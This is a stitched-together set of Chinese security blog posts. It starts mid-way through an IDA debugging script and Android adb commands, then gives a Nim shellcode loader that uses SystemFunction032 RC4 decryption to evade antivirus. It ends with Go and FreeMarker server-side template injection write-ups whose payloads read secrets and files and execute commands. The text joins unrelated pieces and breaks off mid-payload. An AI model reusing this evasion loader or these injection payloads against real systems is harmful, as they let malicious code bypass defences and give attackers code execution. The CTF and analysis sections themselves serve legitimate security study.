event = wait_for_next_event(WFNE_ANY, -1)
t = step_over()
addr = ida_dbg.get_ip_val()
current_color = get_color(addr, CIC_ITEM)
new_color = get_new_color(current_color)
set_color(addr, CIC_ITEM, new_color)
#https://www.cnblogs.com/blacksunny/p/7300271.html参考trace 修改的step over
有待改进的地方
绕过反调试依赖于动态调试时的修改寄存器实现
本文涉及的命令
adb connect 127.0.0.1:7555
adb install test.apk
./adb shell am start -D -n com.example.dynamic/.MainActivity
./adb push android_x86_server /data/local/tmp
./adb.exe forward tcp:23946 tcp:23946
./adb forward tcp:8700 jdwp:1535
jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700
SystemFunction032函数的免杀研究
什么是SystemFunction032函数?
虽然Benjamin Delphi在2013年就已经在Mimikatz中使用了它,但由于我之前对它的研究并不多,才有了下文。
这个函数能够通过RC4加密方式对内存区域进行加密/解密。例如,ReactOS项目的代码中显示,它需要一个指向RC4_Context结构的指针作为输入,以及一个指向加密密钥的指针。
不过,目前来看,除了XOR操作,至少我个人还不知道其他的针对内存区域加密/解密的替代函数。但是,你可能在其他研究员的博客中也读到过关于规避内存扫描器的文章,使用简单的XOR操作,攻击者即使是使用了较长的密钥,也会被AV/EDR供应商检测到。
初步想法
虽然RC4算法被认为是不安全的,甚至多年来已经被各个安全厂商研究,但是它为我们提供了一个更好的内存规避的方式。如果我们直接使用AES,可能会更节省OpSec。但是一个简单的单一的Windows API是非常易于使用的。
通常情况下,如果你想在一个进程中执行Shellcode,你需要执行以下步骤。
1、打开一个到进程的句柄
2、在该进程中分配具有RW/RX或RWX权限的内存
3、将Shellcode写入该区域
4、(可选)将权限从RW改为RX,以便执行
5、以线程/APC/回调/其他方式执行Shellcode。
为了避免基于签名的检测,我们可以在执行前对我们的Shellcode进行加密并在运行时解密。
例如,对于AES解密,流程通常是这样的。
1、打开一个到进程的句柄
2、用RW/RX或RWX的权限在该进程中分配内存
3、解密Shellcode,这样我们就可以将shellcode的明文写入内存中
4、将Shellcode写入分配的区域中
5、(可选)把执行的权限从RW改为RX
6、以线程/APC/回调/其他方式执行Shellcode
在这种情况下,Shellcode本身在写入内存时可能会被发现,例如被用户区的钩子程序发现,因为我们需要把指向明文Shellcode的指针传递给WriteProcessMemory或NtWriteVirtualMemory。
XOR的使用可以很好的避免这一点,因为我们还可以在将加密的值写入内存后XOR解密内存区域。简单来讲就像这样。
1、为进程打开一个句柄
2、在该进程中以RW/RX或RWX的权限分配内存
3、将Shellcode写入分配的区域中
4、XOR解密Shellcode的内存区域
5、(可选)把执行的权限从RW改为RX
6、以线程/APC/回调/其他方式执行Shellcode。
但是XOR操作很容易被发现。所以我们尽可能不去使用这种方式。
这里有一个很好的替代方案,我们可以利用SystemFunction032来解密Shellcode,然后将其写入内存中。
生成POC
首先,我们需要生成Shellcode,然后使用OpenSSL对它进行RC4加密。因此,我们可以使用msfvenom来生成。
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
cat calc.bin | openssl enc -rc4 -nosalt -k "aaaaaaaaaaaaaaaa" > enccalc.bin
但后来在调试时发现,SystemFunction032的加密/解密方式与OpenSSL/RC4不同。所以我们不能这样做。
最终修改为
openssl enc -rc4 -in calc.bin -K `echo -n 'aaaaaaaaaaaaaaaa' | xxd -p` -nosalt > enccalc.bin
我们也可以使用下面的Nim代码来获得一个加密的Shellcode blob(仅Windows操作系统)。
import winim
import winim/lean
# msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
const encstring = slurp"calc.bin"
func toByteSeq*(str: string): seq[byte] {.inline.} =
## Converts a string to the corresponding byte sequence.
@(str.toOpenArrayByte(0, str.high))
proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS
{.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".}
# This is the mentioned RC4 struct
type
USTRING* = object
Length*: DWORD
MaximumLength*: DWORD
Buffer*: PVOID
var keyString: USTRING
var imgString: USTRING
# Our encryption Key
var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']
keyString.Buffer = cast[PVOID](&keyBuf)
keyString.Length = 16
keyString.MaximumLength = 16
var shellcode = toByteSeq(encstring)
var size = len(shellcode)
# We need to still get the Shellcode to memory to encrypt it with SystemFunction032
let tProcess = GetCurrentProcessId()
echo "Current Process ID: ", tProcess
var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)
echo "Process Handle: ", repr(pHandle)
let rPtr = VirtualAllocEx(
pHandle,
NULL,
cast[SIZE_T](size),
MEM_COMMIT,
PAGE_READ_WRITE
)
copyMem(rPtr, addr shellcode[0], size)
# Fill the RC4 struct
imgString.Buffer = rPtr
imgString.Length = cast[DWORD](size)
imgString.MaximumLength = cast[DWORD](size)
# Call SystemFunction032
SystemFunction032(&imgString, &keyString)
copyMem(addr shellcode[0],rPtr ,size)
echo "Writing encrypted shellcode to dec.bin"
writeFile("enc.bin", shellcode)
# enc.bin contains our encrypted Shellcode
之后,又写出了一个简单的Python脚本,用Python脚本简化了加密的过程。
#!/usr/bin/env python3
from typing import Iterator
from base64 import b64encode
# Stolen from: https://gist.github.com/hsauers5/491f9dde975f1eaa97103427eda50071
def key_scheduling(key: bytes) -> list:
sched = [i for i in range(0, 256)]
i = 0
for j in range(0, 256):
i = (i + sched[j] + key[j % len(key)]) % 256
tmp = sched[j]
sched[j] = sched[i]
sched[i] = tmp
return sched
def stream_generation(sched: list[int]) -> Iterator[bytes]:
i, j = 0, 0
while True:
i = (1 + i) % 256
j = (sched[i] + j) % 256
tmp = sched[j]
sched[j] = sched[i]
sched[i] = tmp
yield sched[(sched[i] + sched[j]) % 256]
def encrypt(plaintext: bytes, key: bytes) -> bytes:
sched = key_scheduling(key)
key_stream = stream_generation(sched)
ciphertext = b''
for char in plaintext:
enc = char ^ next(key_stream)
ciphertext += bytes([enc])
return ciphertext
if __name__ == '__main__':
# msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
with open('calc.bin', 'rb') as f:
result = encrypt(plaintext=f.read(), key=b'aaaaaaaaaaaaaaaa')
print(b64encode(result).decode())
为了执行这个shellcode,我们可以简单地使用以下Nim代码。
import winim
import winim/lean
# (OPTIONAL) do some Environmental Keying stuff
# Encrypted with the previous code
# Embed the encrypted Shellcode on compile time as string
const encstring = slurp"enc.bin"
func toByteSeq*(str: string): seq[byte] {.inline.} =
## Converts a string to the corresponding byte sequence.
@(str.toOpenArrayByte(0, str.high))
proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS
{.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".}
type
USTRING* = object
Length*: DWORD
MaximumLength*: DWORD
Buffer*: PVOID
var keyString: USTRING
var imgString: USTRING
# Same Key
var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']
keyString.Buffer = cast[PVOID](&keyBuf)
keyString.Length = 16
keyString.MaximumLength = 16
var shellcode = toByteSeq(encstring)
var size = len(shellcode)
let tProcess = GetCurrentProcessId()
echo "Current Process ID: ", tProcess
var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)
let rPtr = VirtualAllocEx(
pHandle,
NULL,
cast[SIZE_T](size),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
copyMem(rPtr, addr shellcode[0], size)
imgString.Buffer = rPtr
imgString.Length = cast[DWORD](size)
imgString.MaximumLength = cast[DWORD](size)
# Decrypt memory region with SystemFunction032
SystemFunction032(&imgString, &keyString)
# (OPTIONAL) we could Sleep here with a custom Sleep function to avoid memory Scans
# Directly call the Shellcode instead of using a Thread/APC/Callback/whatever
let f = cast[proc(){.nimcall.}](rPtr)
f()
最终效果,至少windows defender不会报毒。
通过使用这个方法,我们几乎可以忽略用户区的钩子程序,因为我们的明文Shellcode从未被传递给任何函数(只有SystemFunction032本身)。当然,所有这些供应商都可以通过钩住Advapi32/SystemFunction032来检测我们。
后记
之后我想到了一个更加完美的想法。通过使用PIC-Code,我们也可以省去我的PoC中所使用的其他Win32函数。因为在编写PIC-Code时,所有的代码都已经被包含在了.text部分,而这个部分通常默认有RX权限,这在很多情况下是已经足够了。所以我们不需要改变内存权限,也不需要把Shellcode写到内存中。
简单来讲是以下这种情况:
1、调用SystemFunction032来解密Shellcode
2、直接调用它
例如,PIC-Code的样本代码可以在这里找到。对于Nim语言来说,之前发布了一个库,它也能让我们相对容易地编写PIC代码,叫做Bitmancer。
浅学Go下的ssti漏洞问题
前言
作为强类型的静态语言,golang的安全属性从编译过程就能够避免大多数安全问题,一般来说也唯有依赖库和开发者自己所编写的操作漏洞,才有可能形成漏洞利用点,在本文,主要学习探讨一下golang的一些ssti模板注入问题。
GO模板引擎
Go 提供了两个模板包。一个是 text/template,另一个是html/template。text/template对 XSS 或任何类型的 HTML 编码都没有保护,因此该模板并不适合构建 Web 应用程序,而html/template与text/template基本相同,但增加了HTML编码等安全保护,更加适用于构建web应用程序。
template简介
template之所以称作为模板的原因就是其由静态内容和动态内容所组成,可以根据动态内容的变化而生成不同的内容信息交由客户端,以下即一个简单例子
模板内容 Hello, {{.Name}} Welcome to go web programming…
期待输出 Hello, liumiaocn Welcome to go web programming…
而作为go所提供的模板包,text/template和html/template的主要区别就在于对于特殊字符的转义与转义函数的不同,但其原理基本一致,均是动静态内容结合,以下是两种模板的简单演示。
text/template
package main
import (
"net/http"
"text/template"
)
type User struct {
ID int
Name string
Email string
Password string
}
func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
user := &User{1,"John", "test@example.com", "test123"}
r.ParseForm()
tpl := `<h1>Hi, {{ .Name }}</h1><br>Your Email is {{ .Email }}`
data := map[string]string{
"Name": user.Name,
"Email": user.Email,
}
html := template.Must(template.New("login").Parse(tpl))
html.Execute(w, data)
}
func main() {
server := http.Server{
Addr: "127.0.0.1:8888",
}
http.HandleFunc("/string", StringTpl2Exam)
server.ListenAndServe()
}
struct是定义了的一个结构体,在go中,我们是通过结构体来类比一个对象,因此他的字段就是一个对象的属性,在该实例中,我们所期待的输出内容为下
模板内容 <h1>Hi, {{ .Name }}</h1><br>Your Email is {{ .Email }}
期待输出 <h1>Hi, John</h1><br>Your Email is test@example.com
可以看得出来,当传入参数可控时,就会经过动态内容生成不同的内容,而我们又可以知道,go模板是提供字符串打印功能的,我们就有机会实现xss。
package main
import (
"net/http"
"text/template"
)
type User struct {
ID int
Name string
Email string
Password string
}
func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
user := &User{1,"John", "test@example.com", "test123"}
r.ParseForm()
tpl := `<h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}`
data := map[string]string{
"Name": user.Name,
"Email": user.Email,
}
html := template.Must(template.New("login").Parse(tpl))
html.Execute(w, data)
}
func main() {
server := http.Server{
Addr: "127.0.0.1:8888",
}
http.HandleFunc("/string", StringTpl2Exam)
server.ListenAndServe()
}
模板内容 <h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}
期待输出 <h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is test@example.com
实际输出 弹出/xss/
这里就是text/template和html/template的最大不同了。
html/template
同样的例子,但是我们把导入的模板包变成html/template
package main
import (
"net/http"
"html/template"
)
type User struct {
ID int
Name string
Email string
Password string
}
func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
user := &User{1,"John", "test@example.com", "test123"}
r.ParseForm()
tpl := `<h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}`
data := map[string]string{
"Name": user.Name,
"Email": user.Email,
}
html := template.Must(template.New("login").Parse(tpl))
html.Execute(w, data)
}
func main() {
server := http.Server{
Addr: "127.0.0.1:8888",
}
http.HandleFunc("/string", StringTpl2Exam)
server.ListenAndServe()
}
可以看到,xss语句已经被转义实体化了,因此对于html/template来说,传入的script和js都会被转义,很好地防范了xss,但text/template也提供了内置函数html来转义特殊字符,除此之外还有js,也存在template.HTMLEscapeString等转义函数。
而通过html/template包等,go提供了诸如Parse/ParseFiles/Execute等方法可以从字符串或者文件加载模板然后注入数据形成最终要显示的结果。
html/template 包会做一些编码来帮助防止代码注入,而且这种编码方式是上下文相关的,这意味着它可以发生在 HTML、CSS、JavaScript 甚至 URL 中,模板库将确定如何正确编码文本。
template常用基本语法
在{{}}内的操作称之为pipeline
{{.}} 表示当前对象,如user对象
{{.FieldName}} 表示对象的某个字段
{{range …}}{{end}} go中for…range语法类似,循环
{{with …}}{{end}} 当前对象的值,上下文
{{if …}}{{else}}{{end}} go中的if-else语法类似,条件选择
{{xxx | xxx}} 左边的输出作为右边的输入
{{template "navbar"}} 引入子模版
漏洞演示
在go中检测 SSTI 并不像发送 {{7*7}} 并在源代码中检查 49 那么简单,我们需要浏览文档以查找仅 Go 原生模板中的行为,最常见的就是占位符.
在template中,点"."代表当前作用域的当前对象,它类似于java/c++的this关键字,类似于perl/python的self。
package main
import (
"net/http"
"text/template"
)
type User struct {
ID int
Name string
Email string
Password string
}
func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
user := &User{1,"John", "test@example.com", "test123"}
r.ParseForm()
tpl := `<h1>Hi, {{ .Name }}</h1><br>Your Email is {{ . }}`
data := map[string]string{
"Name": user.Name,
"Email": user.Email,
}
html := template.Must(template.New("login").Parse(tpl))
html.Execute(w, data)
}
func main() {
server := http.Server{
Addr: "127.0.0.1:8888",
}
http.HandleFunc("/string", StringTpl2Exam)
server.ListenAndServe()
}
输出为
模板内容 <h1>Hi, {{ .Name }}</h1><br>Your Email is {{ . }}
期待输出 <h1>Hi, John</h1><br>Your Email is map[Email:test@example.com Name:John]
可以看到结构体内的都会被打印出来,我们也常常利用这个检测是否存在SSTI。
接下来就以几道题目来验证一下
[LineCTF2022]gotm
package main
import (
"encoding/json"
"fmt"
"log"
"net/http"
"os"
"text/template"
"github.com/golang-jwt/jwt"
)
type Account struct {
id string
pw string
is_admin bool
secret_key string
}
type AccountClaims struct {
Id string `json:"id"`
Is_admin bool `json:"is_admin"`
jwt.StandardClaims
}
type Resp struct {
Status bool `json:"status"`
Msg string `json:"msg"`
}
type TokenResp struct {
Status bool `json:"status"`
Token string `json:"token"`
}
var acc []Account
var secret_key = os.Getenv("KEY")
var flag = os.Getenv("FLAG")
var admin_id = os.Getenv("ADMIN_ID")
var admin_pw = os.Getenv("ADMIN_PW")
func clear_account() {
acc = acc[:1]
}
func get_account(uid string) Account {
for i := range acc {
if acc[i].id == uid {
return acc[i]
}
}
return Account{}
}
func jwt_encode(id string, is_admin bool) (string, error) {
claims := AccountClaims{
id, is_admin, jwt.StandardClaims{},
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
return token.SignedString([]byte(secret_key))
}
func jwt_decode(s string) (string, bool) {
token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {
return []byte(secret_key), nil
})
if err != nil {
fmt.Println(err)
return "", false
}
if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {
return claims.Id, claims.Is_admin
}
return "", false
}
func auth_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if len(acc) > 1024 {
clear_account()
}
user_acc := get_account(uid)
if user_acc.id != "" && user_acc.pw == upw {
token, err := jwt_encode(user_acc.id, user_acc.is_admin)
if err != nil {
return
}
p := TokenResp{true, token}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
w.WriteHeader(http.StatusForbidden)
return
}
func regist_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if get_account(uid).id != "" {
w.WriteHeader(http.StatusForbidden)
return
}
if len(acc) > 4 {
clear_account()
}
new_acc := Account{uid, upw, false, secret_key}
acc = append(acc, new_acc)
p := Resp{true, ""}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
func flag_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, is_admin := jwt_decode(token)
if is_admin == true {
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
} else {
w.WriteHeader(http.StatusForbidden)
return
}
}
}
func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(w, &acc)
} else {
return
}
}
func main() {
admin := Account{admin_id, admin_pw, true, secret_key}
acc = append(acc, admin)
http.HandleFunc("/", root_handler)
http.HandleFunc("/auth", auth_handler)
http.HandleFunc("/flag", flag_handler)
http.HandleFunc("/regist", regist_handler)
log.Fatal(http.ListenAndServe("0.0.0.0:11000", nil))
}
我们先对几个路由和其对应的函数进行分析。
struct结构
type Account struct {
id string
pw string
is_admin bool
secret_key string
}
注册功能
func regist_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if get_account(uid).id != "" {
w.WriteHeader(http.StatusForbidden)
return
}
if len(acc) > 4 {
clear_account()
}
new_acc := Account{uid, upw, false, secret_key} //创建新用户
acc = append(acc, new_acc)
p := Resp{true, ""}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
登录功能
func auth_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if len(acc) > 1024 {
clear_account()
}
user_acc := get_account(uid)
if user_acc.id != "" && user_acc.pw == upw { //检验id和pw
token, err := jwt_encode(user_acc.id, user_acc.is_admin)
if err != nil {
return
}
p := TokenResp{true, token} //返回token
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
w.WriteHeader(http.StatusForbidden)
return
}
认证功能
func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" { //根据token解出id,根据uid取出对应account
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(w, &acc)
} else {
return
}
}
得到account
func get_account(uid string) Account {
for i := range acc {
if acc[i].id == uid {
return acc[i]
}
}
return Account{}
}
flag路由
func flag_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, is_admin := jwt_decode(token)
if is_admin == true { //将is_admin修改为true即可得到flag
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
} else {
w.WriteHeader(http.StatusForbidden)
return
}
}
}
所以思路就清晰了,我们需要得到secret_key,然后继续jwt伪造得到flag。
而由于root_handler函数中得到的acc是数组中的地址,即会在全局变量acc函数中查找我们的用户,这时传入{{.secret_key}}会返回空,所以我们用{{.}}来得到结构体内所有内容。
/regist?id={{.}}&pw=123
/auth?id={{.}}&pw=123{"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.0Lz_3fTyhGxWGwZnw3hM_5TzDfrk0oULzLWF4rRfMss"}
带上token重新访问
Logged in as {{{.}} 123 false this_is_f4Ke_key}
得到secret_key,进行jwt伪造,把 is_admin修改为true,key填上secret_key得到
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOnRydWV9.3OXFk-f_S2XqPdzHnl0esmJQXuTSXuA1IbpaGOMyvWo
带上token访问/flag
[WeCTF2022]request-bin
洁白一片,使用{{.}}进行检测
这道题目采用的框架是iris,用户可以对日志的格式参数进行控制,而参数又会被当成模板渲染,所以我们就可以利用该点进行ssti。
我们需要的是进行文件的读取,所以我们需要看看iris的accesslog库的模板注入如何利用。
在Accesslog的结构体中可以发现
type Log struct {
// The AccessLog instance this Log was created of.
Logger *AccessLog `json:"-" yaml:"-" toml:"-"`
// The time the log is created.
Now time.Time `json:"-" yaml:"-" toml:"-"`
// TimeFormat selected to print the Time as string,
// useful on Template Formatter.
TimeFormat string `json:"-" yaml:"-" toml:"-"`
// Timestamp the Now's unix timestamp (milliseconds).
Timestamp int64 `json:"timestamp" csv:"timestamp"`
// Request-Response latency.
Latency time.Duration `json:"latency" csv:"latency"`
// The response status code.
Code int `json:"code" csv:"code"`
// Init request's Method and Path.
Method string `json:"method" csv:"method"`
Path string `json:"path" csv:"path"`
// The Remote Address.
IP string `json:"ip,omitempty" csv:"ip,omitempty"`
// Sorted URL Query arguments.
Query []memstore.StringEntry `json:"query,omitempty" csv:"query,omitempty"`
// Dynamic path parameters.
PathParams memstore.Store `json:"params,omitempty" csv:"params,omitempty"`
// Fields any data information useful to represent this Log.
Fields memstore.Store `json:"fields,omitempty" csv:"fields,omitempty"`
// The Request and Response raw bodies.
// If they are escaped (e.g. JSON),
// A third-party software can read it through:
// data, _ := strconv.Unquote(log.Request)
// err := json.Unmarshal([]byte(data), &customStruct)
Request string `json:"request,omitempty" csv:"request,omitempty"`
Response string `json:"response,omitempty" csv:"response,omitempty"`
// The actual number of bytes received and sent on the network (headers + body or body only).
BytesReceived int `json:"bytes_received,omitempty" csv:"bytes_received,omitempty"`
BytesSent int `json:"bytes_sent,omitempty" csv:"bytes_sent,omitempty"`
// A copy of the Request's Context when Async is true (safe to use concurrently),
// otherwise it's the current Context (not safe for concurrent access).
Ctx *context.Context `json:"-" yaml:"-" toml:"-"`
}
这里我们经过审查,会发现context里面存在SendFile进行文件强制下载。
所以我们可以构造payload如下
{{ .Ctx.SendFile "/flag" "1.txt"}}
后言
golang的template跟很多模板引擎的语法差不多,比如双花括号指定可解析的对象,假如我们传入的参数是可解析的,就有可能造成泄露,其本质就是合并替换,而常用的检测payload可以用占位符.,对于该漏洞的防御也是多注意对传入参数的控制。
Java FreeMarker模板引擎注入深入分析
0x01 前言
最近和 https://f1or.cn/ 大师傅一起挖洞的时候发现一处某 CMS SSTI 的 0day,之前自己在复现 jpress 的一些漏洞的时候也发现了 SSTI 这个洞杀伤力之大。今天来好好系统学习一手。
有三个最重要的模板,其实模板引擎本质上的原理差不多,因为在 SpringBoot 初学习的阶段我就已经学习过 Thymeleaf 了,所以大体上老生常谈的东西就不继续讲了。
三个模板的模板注入攻击差距其实还是有点大的,而且 Java 的 SSTI 和 Python Flask 的一些 SSTI 差距有点大。我们今天主要来看看 FreeMarker 的 SSTI
0x02 FreeMarker SSTI
FreeMarker 官网:http://freemarker.foofun.cn/index.html
对应版本是 2.3.23,一会儿我们搭建环境的时候也用这个版本
FreeMarker 基础语法
关于文本与注释,本文不再强调,重点看插值与 FTL 指令。
插值
插值也叫 Interpolation,即 ${..} 或者 #{..} 格式的部分,将使用数据模型中的部分替代输出
比如这一个 .ftl 文件
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Hello ${name}!</title>
<link href="/css/main.css" rel="stylesheet">
</head>
<body>
<h2 class="hello-title">Hello ${name}!</h2>
<script src="/js/main.js"></script>
</body>
</html>
那么 ${name} 的数据就会从传参里面拿,对应的这个是在 addAttribute 中的 name 参数
FTL 指令
FTL 指令以 # 开头,其他语法和 HTML 大致相同。
我这里其实也花了不少时间看了 FreeMarker 的基础语法,但是并非很透彻,就不误人子弟了,有兴趣的师傅可以自己前往 FreeMarker 手册查看。
https://freemarker.apache.org/ FreeMarker SSTI 成因与攻击面
看了一些文章,有些地方有所疏漏,先说 SSTI 的攻击面吧,我们都知道 SSTI 的攻击面其实是模板引擎的渲染,所以我们要让 Web 服务器将 HTML 语句渲染为模板引擎,前提是要先有 HTML 语句。那么 HTML 如何才能被弄上去呢?这就有关乎我们的攻击面了。
将 HTML 语句放到服务器上有两种方法:
1、文件上传 HTML 文件。
2、若某 CMS 自带有模板编辑功能,这种情况非常多。
因为之前有接触过 Thymeleaf 的 SSTI,Thymeleaf 的 SSTI 非常锋利, Thymeleaf SSTI 的攻击往往都是通过传参即可造成 RCE(当然这段话很可能是不严谨的
在刚接触 FreeMarker 的 SSTI 的时候,我误以为它和 Thyemelaf 一样,直接通过传参就可以打,后来发现我的想法是大错特错。
环境搭建
一些开发的基本功,因篇幅限制,我也不喜放这些代码的书写,贴个项目地址吧
https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/CodeReview漏洞复现
前文我有提到,FreeMarker 的 SSTI 必须得是获取到 HTML,再把它转换成模板,从而引发漏洞,所以这里要复现,只能把 HTML 语句插入到 .ftl 里面,太生硬了简直。。。。。不过和 F1or 师傅一起挖出来的 0day 则是比较灵活,有兴趣的师傅可以滴一下我
payload:
<#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}
构造出这个 PoC 的原因是 freemarker.template.utility.Execute 类里面存在如下图所示的命令执行方法,都写到脸上来了。
漏洞复现如图
漏洞分析
我们要分析的是,MVC 的思维,以及如何走到这个危险类 ———— freemarker.template.utility.Execute 去的。
下一个断点在 org.springframework.web.servlet.view.UrlBasedViewResolver#createView,开始调试
跟进 super.createView()
进一步跟进 loadView() 以及 buildView(),这些方法的业务意义都比较好理解,先 create 一个 View 视图,再将其 load 进来,最后再 build。
在 buildView() 方法当中,先通过 this.instantiateView() 的方式 new 了一个 FreeMarkerView 类,又进行了一些基础赋值,将我们的 View Build 了出来(也就是 View 变得有模有样了)
继续往下走,回到 loadView() 方法,loadView() 方法调用了 view.checkResource() 方法
checkResource() 方法做了两件事,第一件事是判断 Resource 当中的 url 是否为空,也就是判断是否存在 resource,如果 url 都没东西,那么后续的模板引擎加载就更不用说了;第二件事是进行 template 的获取,也可以把这理解为准备开始做模板引擎加载的业务了。
跟进 getTemplate() 方法
首先做了一些赋值判断,再判断 Template 的存在,我们跟进 this.cache.getTemplate
这里从 cache 里面取值,而在我们 putTemplate 设置模板的时候,也会将至存储到 cache中。
跟进 getTemplateInternal()
先做了一些基本的判断,到 202 行,跟进 lookupTemplate() 方法
这里代码很冗杂,最后的结果是跟进 `freemarker.cache.TemplateCache#lookupWithLocalizedThenAcquisitionStrategy
代码会先拼接 _zh_CN,再寻找未拼接 _zh_CN 的模板名,调用 this.findTemplateSource(path) 获取模板实例。
这里就获取到了 handle 执行返回的模板视图实例,这里我 IDEA 没有走过去,就跟着奶思师傅的文章先分析了。
org.springframework.web.servlet.DispatcherServlet#doDispatch 流程
handle 执行完成后调用 this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException); 进行模板解析。
调用 view.render(mv.getModelInternal(), request, response); 一路跟进至 org.springframework.web.servlet.view.freemarker.FreeMarkerView#doRender
跟进 this.processTemplate()
跟进 process()
process() 方法是做了一个输出(生成) HTML 文件或其他文件的工作,相当于渲染的最后一步了。
在 process() 方法中,会对 ftl 的文件进行遍历,读取一些信息,下面我们先说对于正常语句的处理,再说对于 ftl 表达式的处理。
在读取到每一条 freeMarker 表达式语句的时候,会二次调用 visit() 方法,而 visit() 方法又调用了 element.accept(),跟进
跟进 calculateInterpolatedStringOrMarkup() 方法
calculateInterpolatedStringOrMarkup() 方法做的业务是将模型强制为字符串或标记,跟进 eval() 方法
eval() 方法简单判断了 constantValue 是否为 null,这里 constantValue 为 null,跟进 this._eval(),一般的 _eval() 方法只是将 evn 获取一下,但是对于 ftl 语句就不是这样了,一般的 _eval() 方法如下
而对于 ftl 表达式来说,accept 方法是这样的
跟进一下 accept() 方法
做了一系列基础判断,先判断 namespaceExp 是否为 null,接着又判断 this.operatorType 是否等于 65536,到第 105 行,跟进 eval() 方法,再跟进 _eval()
我们可以看到 targetMethod 目前就是我们在 ftl 语句当中构造的那个能够进行命令执行的类,也就是说这一个语句相当于
Object result = targetMethod.exec(argumentStrings);
// 等价于
Object result = freemarker.template.utility.Execute.exec(argumentStrings);
而这一步并非直接进行命令执行,而是先把这个类通过 newInstance() 的方式进行初始化。
命令执行的参数,会被拿出来,在下一次的同样流程中作为命令被执行,如图
至此,分析结束,很有意思的一个流程分析。
FreeMarker SSTI 的攻防二象性
我们目前的 PoC 是这么打的
<#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}
这是因为 FreeMarker 的内置函数 new 导致的,下面我们简单介绍一下 FreeMarker的两个内置函数—— new 和 api
内置函数 new
可创建任意实现了 TemplateModel 接口的 Java 对象,同时还可以触发没有实现 TemplateModel 接口的类的静态初始化块。 以下两种常见的FreeMarker模版注入poc就是利用new函数,创建了继承 TemplateModel 接口的 freemarker.template.utility.JythonRuntime 和freemarker.template.utility.Execute
API
value?api 提供对 value 的 API(通常是 Java API)的访问,例如 value?api.someJavaMethod() 或 value?api.someBeanProperty。可通过 getClassLoader获取类加载器从而加载恶意类,或者也可以通过 getResource来实现任意文件读取。 但是,当api_builtin_enabled为 true 时才可使用 api 函数,而该配置在 2.3.22 版本之后默认为 false。
由此我们可以构造出一系列的 bypass PoC
POC1
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("Calc"")}
POC2
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()}
POC3
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")
